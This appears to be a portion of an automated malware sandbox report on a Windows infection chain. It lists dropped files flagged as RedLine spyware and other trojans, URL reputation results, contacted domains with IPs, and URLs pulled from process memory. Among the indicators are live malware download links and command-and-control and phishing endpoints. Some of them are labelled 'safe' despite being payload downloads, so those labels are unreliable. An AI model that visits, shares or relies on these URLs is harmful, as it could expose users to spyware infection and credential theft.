C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\9c66f20de619a94580bb93030dc1aea6.tmp	5%	ReversingLabs
C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\b9f3dab10526734c996e5577124d9fe9.tmp	0%	ReversingLabs
C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\bcbe912d67afa2439ce32b324e7130e1.tmp	0%	ReversingLabs
C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\f30fa2050fab9a4e9730e495e7217769.tmp	5%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\promo[1].exe	83%	ReversingLabs	Win32.Spyware.RedLine
C:\Users\user\AppData\Local\Temp\1938229521.exe	83%	ReversingLabs	Win32.Spyware.RedLine
C:\Users\user\AppData\Local\Temp\INA2696.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI285D.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI2B5C.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-J1954.tmp\_isetup\_iscrypt.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-J1954.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	83%	ReversingLabs	Win32.Trojan.Mamson
C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe	30%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\idp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\shi27C0.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\shi2C43.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\shi2D6D.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\shi478C.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\shi4877.tmp	0%	ReversingLabs
C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Updater.exe	65%	ReversingLabs	Win32.Adware.RedCap
C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\decoder.dll	0%	ReversingLabs
C:\Windows\Installer\MSI422D.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI45A8.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI45D8.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI4618.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI4686.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI46E5.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI4724.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI528F.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI5407.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI5447.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI5523.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI5543.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI55E1.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI57A7.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI5AE4.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI5B05.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI92DE.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI935C.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI9477.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
http://www.certplus.com/CRL/class3.crl0	0%	URL Reputation	safe
http://ocsp.suscerte.gob.ve0	0%	URL Reputation	safe
http://crl.dhimyotis.com/certignarootca.crl0	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
http://ca2.mtin.es/mtin/crl/MTINAutoridadRaiz0	0%	URL Reputation	safe
http://crl.ssc.lt/root-c/cacrl.crl0	0%	URL Reputation	safe
http://ca.disig.sk/ca/crl/ca_disig.crl0	0%	URL Reputation	safe
http://www.suscerte.gob.ve/dpc0	0%	URL Reputation	safe
http://www.disig.sk/ca/crl/ca_disig.crl0	0%	URL Reputation	safe
https://www.remobjects.com/ps	0%	URL Reputation	safe
http://policy.camerfirma.com0	0%	URL Reputation	safe
http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?	0%	URL Reputation	safe
http://crl.ssc.lt/root-b/cacrl.crl0	0%	URL Reputation	safe
http://www.uce.gub.uy/informacion-tecnica/politicas/cp_acrn.pdf0G	0%	URL Reputation	safe
https://wwww.certigna.fr/autorites/0m	0%	URL Reputation	safe
http://www.ica.co.il/repository/cps/PersonalID_Practice_Statement.pdf0	0%	URL Reputation	safe
http://www.globaltrust.info0	0%	URL Reputation	safe
http://ac.economia.gob.mx/last.crl0G	0%	URL Reputation	safe
http://crl.oces.trust2408.com/oces.crl0	0%	URL Reputation	safe
http://certs.oaticerts.com/repository/OATICA2.crl	0%	URL Reputation	safe
http://certs.oati.net/repository/OATICA2.crt0	0%	URL Reputation	safe
http://www.accv.es00	0%	URL Reputation	safe
http://crl2.postsignum.cz/crl/psrootqca4.crl01	0%	URL Reputation	safe
http://web.ncdc.gov.sa/crl/nrcaparta1.crl	0%	URL Reputation	safe
http://www.acabogacia.org0	0%	URL Reputation	safe
http://crl.securetrust.com/SGCA.crl0	0%	URL Reputation	safe
http://%s/testpage.htm	0%	Avira URL Cloud	safe
http://tankqueueipjsh.pw/apip	0%	Avira URL Cloud	safe
http://mysoftwareusa.info/stats/3/0/0Nv	100%	Avira URL Cloud	malware
http://tankqueueipjsh.pw/apiincc	0%	Avira URL Cloud	safe
http://ambadevgroup.info/load/1509/promo.exev	0%	Avira URL Cloud	safe
http://ambadevgroup.info/load/1509/promo.exes	0%	Avira URL Cloud	safe
http://%s/testpage.htmwininet.dll	0%	Avira URL Cloud	safe
http://ambadevgroup.info/load/1509/promo.exeRA	0%	Avira URL Cloud	safe
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1658&a=2598&dn=416&spot=7&t=1	0%	Avira URL Cloud	safe
https://dl.likeasurfer.com/updates/v113.exe0	0%	Avira URL Cloud	safe
http://tankqueueipjsh.pw/apiT	0%	Avira URL Cloud	safe
https://www.innosetup.com/	0%	Avira URL Cloud	safe
http://fedir.comsign.co.il/crl/ComSignSecuredCA.crl0	0%	Avira URL Cloud	safe
https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598	100%	Avira URL Cloud	malware
http://mysoftwareusa.info/stats/3/0/0	100%	Avira URL Cloud	malware
http://sidemark.xyz/	0%	Avira URL Cloud	safe
http://mysoftwareusa.info/archives/7atch	100%	Avira URL Cloud	malware
https://sizestep.online/tracker/thank_you.php?trk=2598	100%	Avira URL Cloud	phishing
http://mysoftwareusa.info/archives/5	100%	Avira URL Cloud	malware
http://tankqueueipjsh.pw/mW	0%	Avira URL Cloud	safe
https://dl.likeasurfer.com/updates/v113.exeoN_	0%	Avira URL Cloud	safe
http://mysoftwareusa.info/stats/3/1/0	100%	Avira URL Cloud	malware
https://advancedmanager.io/eula	0%	Avira URL Cloud	safe
http://ambadevgroup.info/load/1509/promo.exeGA#g	0%	Avira URL Cloud	safe
http://crl3.digicert	0%	Avira URL Cloud	safe
http://mysoftwareusa.info/archives/7	100%	Avira URL Cloud	malware
http://sparksteam.site/	100%	Avira URL Cloud	malware
http://sidemark.xyz/pe/buildIN.php?sub=&source=3890&s1=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG93bi10cmFpbmVyLTE1LXYxLTgtLmV4ZQ%3D%3D&ti=1701870648	0%	Avira URL Cloud	safe
http://tankqueueipjsh.pw/apiov	0%	Avira URL Cloud	safe
https://repository.tsp.zetes.com0	0%	Avira URL Cloud	safe
http://ocsp.rootca1.amazontrust.com0:	0%	Avira URL Cloud	safe
http://tankqueueipjsh.pw/apipW	0%	Avira URL Cloud	safe
http://127.0.0.1	0%	Avira URL Cloud	safe
https://www.agenment.cloud/~	0%	Avira URL Cloud	safe
https://www.hulkisbulish.com/updates.txt	0%	Avira URL Cloud	safe
https://collect.installeranalytics.comhttp://collect.installeranalytics.comhttps://installeranalytic	0%	Avira URL Cloud	safe
http://www.mildstat.com/ping/?count=true&id=55ghm2fide1	100%	Avira URL Cloud	malware
http://tankqueueipjsh.pw/apire1	0%	Avira URL Cloud	safe
http://www.datev.	0%	Avira URL Cloud	safe
http://cacerts.digicYPgFc	0%	Avira URL Cloud	safe
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1661&a=2598&dn=419&spot=3&t=1	0%	Avira URL Cloud	safe
https://www.inlogbrowser.com/pp.txt	0%	Avira URL Cloud	safe
http://ambadevgroup.info/load/1509/promo.exea62	0%	Avira URL Cloud	safe
https://allroadslimit.com/	0%	Avira URL Cloud	safe
https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i	100%	Avira URL Cloud	malware
https://allroadslimit.com/VJH	0%	Avira URL Cloud	safe
https://false.apparelsilver.xyz/	0%	Avira URL Cloud	safe
http://mysoftwareusa.info/archives/70Ro	100%	Avira URL Cloud	malware
http://sparksteam.site/K	100%	Avira URL Cloud	malware
http://tankqueueipjsh.pw/?P:S	0%	Avira URL Cloud	safe
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1658&a=2598&dn=416&spot=7&t=	0%	Avira URL Cloud	safe
http://sparksteam.site/L	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
sparksteam.site	104.21.52.223	true	true	unknown
send.planewool.xyz	172.67.157.197	true	false	high
tankqueueipjsh.pw	104.21.83.145	true	false	high
m74b54.space	77.105.136.3	true	false	high
geo.netsupportsoftware.com	62.172.138.67	true	false	high
cs1100.wpc.omegacdn.net	152.199.4.44	true	false	high
accounts.google.com	142.251.111.84	true	false	high
sidemark.xyz	172.67.165.204	true	false	high
myptofgrtulo.info	95.142.47.11	true	false	high
allroadslimit.com	104.21.74.109	true	false	high
axsboe-campaign.com	104.21.37.216	true	false	high
ambadevgroup.info	37.1.198.251	true	false	high
kapetownlink.com	159.223.29.40	true	false	high
www.agenment.cloud	185.23.108.224	true	false	high
pstbbk.com	157.230.96.32	true	false	high
collect.installeranalytics.com	54.165.145.62	true	false	high
dl.likeasurfer.com	172.67.150.192	true	false	high
www.google.com	142.251.16.147	true	false	high
false.apparelsilver.xyz	104.21.13.66	true	false	high
clients.l.google.com	142.251.16.101	true	false	high
mysoftwareusa.info	37.1.198.251	true	false	high
c.msn.com	unknown	unknown	false	high
111.t.keepitpumpin.io	unknown	unknown	false	high
clients2.google.com	unknown	unknown	false	high
114.t.keepitpumpin.io	unknown	unknown	false	high
110.t.keepitpumpin.io	unknown	unknown	false	high
ecn.dev.virtualearth.net	unknown	unknown	false	high
browser.events.data.msn.com	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
113.t.keepitpumpin.io	unknown	unknown	false	high
www.msn.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
aefd.nelreports.net	unknown	unknown	false	high
231005002055611.bcn.lca62.shop	unknown	unknown	false	high
login.microsoftonline.com	unknown	unknown	false	high
112.t.keepitpumpin.io	unknown	unknown	false	high
115.t.keepitpumpin.io	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://mysoftwareusa.info/stats/3/0/0	true	Avira URL Cloud: malware	unknown
http://geo.netsupportsoftware.com/location/loca.asp	false		high
https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598	false	Avira URL Cloud: malware	unknown
http://mysoftwareusa.info/archives/5	true	Avira URL Cloud: malware	unknown
http://mysoftwareusa.info/archives/7	true	Avira URL Cloud: malware	unknown
http://mysoftwareusa.info/stats/3/1/0	true	Avira URL Cloud: malware	unknown
http://sidemark.xyz/pe/buildIN.php?sub=&source=3890&s1=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG93bi10cmFpbmVyLTE1LXYxLTgtLmV4ZQ%3D%3D&ti=1701870648	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	1922353491.exe, 00000024.00000002.3684628279.0000000005346000.00000004.00000020.00020000.00000000.sdmp	false		high
http://fedir.comsign.co.il/crl/ComSignSecuredCA.crl0	a1.exe, 00000015.00000003.2985012788.0000000001072000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://%s/testpage.htmwininet.dll	wmiprvse.exe, 0000000F.00000002.3929791609.000000006B8D0000.00000002.00000001.01000000.00000017.sdmp	false	Avira URL Cloud: safe	low
http://ambadevgroup.info/load/1509/promo.exev	setup.tmp, 00000004.00000002.3907486788.00000000007D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tankqueueipjsh.pw/apiincc	1922353491.exe, 00000024.00000002.3686040918.000000000563B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.certplus.com/CRL/class3.crl0	a1.exe, 00000015.00000003.2984992844.0000000003F1C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	1922353491.exe, 00000024.00000002.3684628279.0000000005346000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ambadevgroup.info/load/1509/promo.exes	setup.tmp, 00000004.00000002.3907486788.0000000000830000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.suscerte.gob.ve0	a1.exe, 00000015.00000003.2986569510.0000000003F14000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tankqueueipjsh.pw/apip	1922353491.exe, 00000024.00000002.3686040918.000000000574C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mysoftwareusa.info/stats/3/0/0Nv	a3.exe, 00000021.00000002.3929263733.0000000003E87000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.dhimyotis.com/certignarootca.crl0	a1.exe, 00000015.00000003.2982100321.0000000003E8F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://sertifikati.ca.posta.rs/crl/PostaCARoot.crl0	a1.exe, 00000015.00000003.2984992844.0000000003F1C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.chambersign.org1	a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2982949114.0000000003E5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://%s/testpage.htm	wmiprvse.exe, 0000000F.00000002.3929791609.000000006B8D0000.00000002.00000001.01000000.00000017.sdmp	false	Avira URL Cloud: safe	low
http://repository.swisssign.com/0	a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2984792935.0000000003F43000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2985040318.0000000003F18000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2984699434.0000000003F42000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ambadevgroup.info/load/1509/promo.exeRA	setup.tmp, 00000004.00000002.3907486788.00000000007D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ca2.mtin.es/mtin/crl/MTINAutoridadRaiz0	a1.exe, 00000015.00000003.2982949114.0000000003E5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.ssc.lt/root-c/cacrl.crl0	a1.exe, 00000015.00000003.2982100321.0000000003E8F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mysoftwareusa.info/archives/7atch	a3.exe, 00000021.00000002.3928855896.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ca.disig.sk/ca/crl/ca_disig.crl0	a1.exe, 00000015.00000003.2982100321.0000000003E8F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.suscerte.gob.ve/dpc0	a1.exe, 00000015.00000003.2986569510.0000000003F14000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tankqueueipjsh.pw/apiT	1922353491.exe, 00000024.00000002.3684114918.00000000050EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ambadevgroup.info/load/1509/promo.exeS	setup.tmp, 00000004.00000002.3907486788.0000000000830000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.disig.sk/ca/crl/ca_disig.crl0	a1.exe, 00000015.00000003.2982100321.0000000003E8F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://sidemark.xyz/	ZmWSzgevgt.tmp, 00000002.00000003.2130046254.0000000000978000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000003.2130638305.0000000000984000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dl.likeasurfer.com/updates/v113.exe0	Windows Updater.exe, 0000001E.00000002.3180467976.0000000001102000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.remobjects.com/ps	ZmWSzgevgt.exe, 00000000.00000003.2032464225.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.exe, 00000000.00000003.2031907440.0000000002510000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000000.2034791135.0000000000401000.00000020.00000001.01000000.00000004.sdmp	false	URL Reputation: safe	unknown
https://microleaves.com/privacy-policyq	a1.exe, 00000015.00000003.2995056047.0000000006F31000.00000004.00000020.00020000.00000000.sdmp	false		high
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1658&a=2598&dn=416&spot=7&t=1	setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.innosetup.com/	ZmWSzgevgt.exe, 00000000.00000003.2032464225.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.exe, 00000000.00000003.2031907440.0000000002510000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000000.2034791135.0000000000401000.00000020.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://sizestep.online/tracker/thank_you.php?trk=2598	ZmWSzgevgt.tmp, 00000002.00000003.2036525086.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000002.3913860718.00000000025CC000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://dl.likeasurfer.com/updates/v113.exeoN_	Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192892684.000000000143B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://d157kf58cz5ccb.cloudfront.net/dcc.exe	setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://pki.registradores.org/normativa/index.htm0	a1.exe, 00000015.00000003.2982100321.0000000003E8F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://policy.camerfirma.com0	a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2982949114.0000000003E5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.anf.es/es/address-direccion.html	a1.exe, 00000015.00000003.2982783017.0000000003E6C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://advancedmanager.io/eula	setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3926194076.0000000004211000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.00000000007A2000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3926194076.00000000041FD000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://microleaves.com/terms-and-conditions	a1.exe, a1.exe, 00000015.00000003.3151020123.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112568932.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2995330161.0000000003F1E000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112127034.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.anf.es/address/)1(0&	a1.exe, 00000015.00000003.2984904945.0000000003F23000.00000004.00000020.00020000.00000000.sdmp	false		high
http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?	a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2984699434.0000000003F34000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2982949114.0000000003E5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tankqueueipjsh.pw/mW	1922353491.exe, 00000024.00000002.3680655474.0000000000928000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://sparksteam.site/	ZmWSzgevgt.tmp, 00000002.00000003.2130046254.0000000000978000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000003.2130638305.0000000000984000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000002.3908425172.0000000000983000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.ssc.lt/root-b/cacrl.crl0	a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl3.digicert	a1.exe, a1.exe, 00000015.00000003.3151020123.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112568932.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2995330161.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155110918.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112127034.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.certicamara.com/dpc/0Z	a1.exe, 00000015.00000003.2984904945.0000000003F23000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.uce.gub.uy/informacion-tecnica/politicas/cp_acrn.pdf0G	a1.exe, 00000015.00000003.2982949114.0000000003E5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ambadevgroup.info/load/1509/promo.exeGA#g	setup.tmp, 00000004.00000002.3907486788.00000000007D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wwww.certigna.fr/autorites/0m	a1.exe, 00000015.00000003.2982100321.0000000003E8F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.ica.co.il/repository/cps/PersonalID_Practice_Statement.pdf0	a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	1922353491.exe, 00000024.00000002.3684628279.0000000005346000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.anf.es/AC/ANFServerCA.crl0	a1.exe, 00000015.00000003.2984904945.0000000003F23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://repository.tsp.zetes.com0	a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tankqueueipjsh.pw/apiov	1922353491.exe, 00000024.00000002.3684114918.00000000050EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tankqueueipjsh.pw/apipW	1922353491.exe, 00000024.00000002.3684114918.000000000519A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	1922353491.exe, 00000024.00000002.3686040918.00000000057C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1	wmiprvse.exe, 0000000F.00000002.3928160512.0000000011194000.00000002.00000001.01000000.00000012.sdmp	false	Avira URL Cloud: safe	unknown
http://www.globaltrust.info0	a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.agenment.cloud/~	setup.tmp, 00000004.00000003.2255921065.0000000000824000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.hulkisbulish.com/updates.txt	MSIF323.tmp.22.dr	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	1922353491.exe, 00000024.00000002.3684628279.0000000005346000.00000004.00000020.00020000.00000000.sdmp	false		high
http://tankqueueipjsh.pw/apire1	1922353491.exe, 00000024.00000002.3686040918.000000000563B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://collect.installeranalytics.comhttp://collect.installeranalytics.comhttps://installeranalytic	a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155933884.000000006A341000.00000002.00000001.01000000.0000001E.sdmp, v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000002.3399781622.0000000069E9C000.00000002.00000001.01000000.00000025.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000002.3558063819.0000000069EA1000.00000002.00000001.01000000.0000002A.sdmp, MSIF244.tmp.22.dr, System Updater.msi.34.dr	false	Avira URL Cloud: safe	unknown
http://ac.economia.gob.mx/last.crl0G	a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://cacerts.digicYPgFc	v114.exe, 00000039.00000003.3553914280.0000000000EFF000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3553170180.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3552063764.0000000000EDC000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3552151664.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000002.3556844955.0000000000F04000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.datev.	a1.exe, 00000015.00000003.2984792935.0000000003F43000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2984699434.0000000003F42000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0	a1.exe, 00000015.00000003.2984792935.0000000003F43000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2984699434.0000000003F42000.00000004.00000020.00020000.00000000.sdmp	false		high
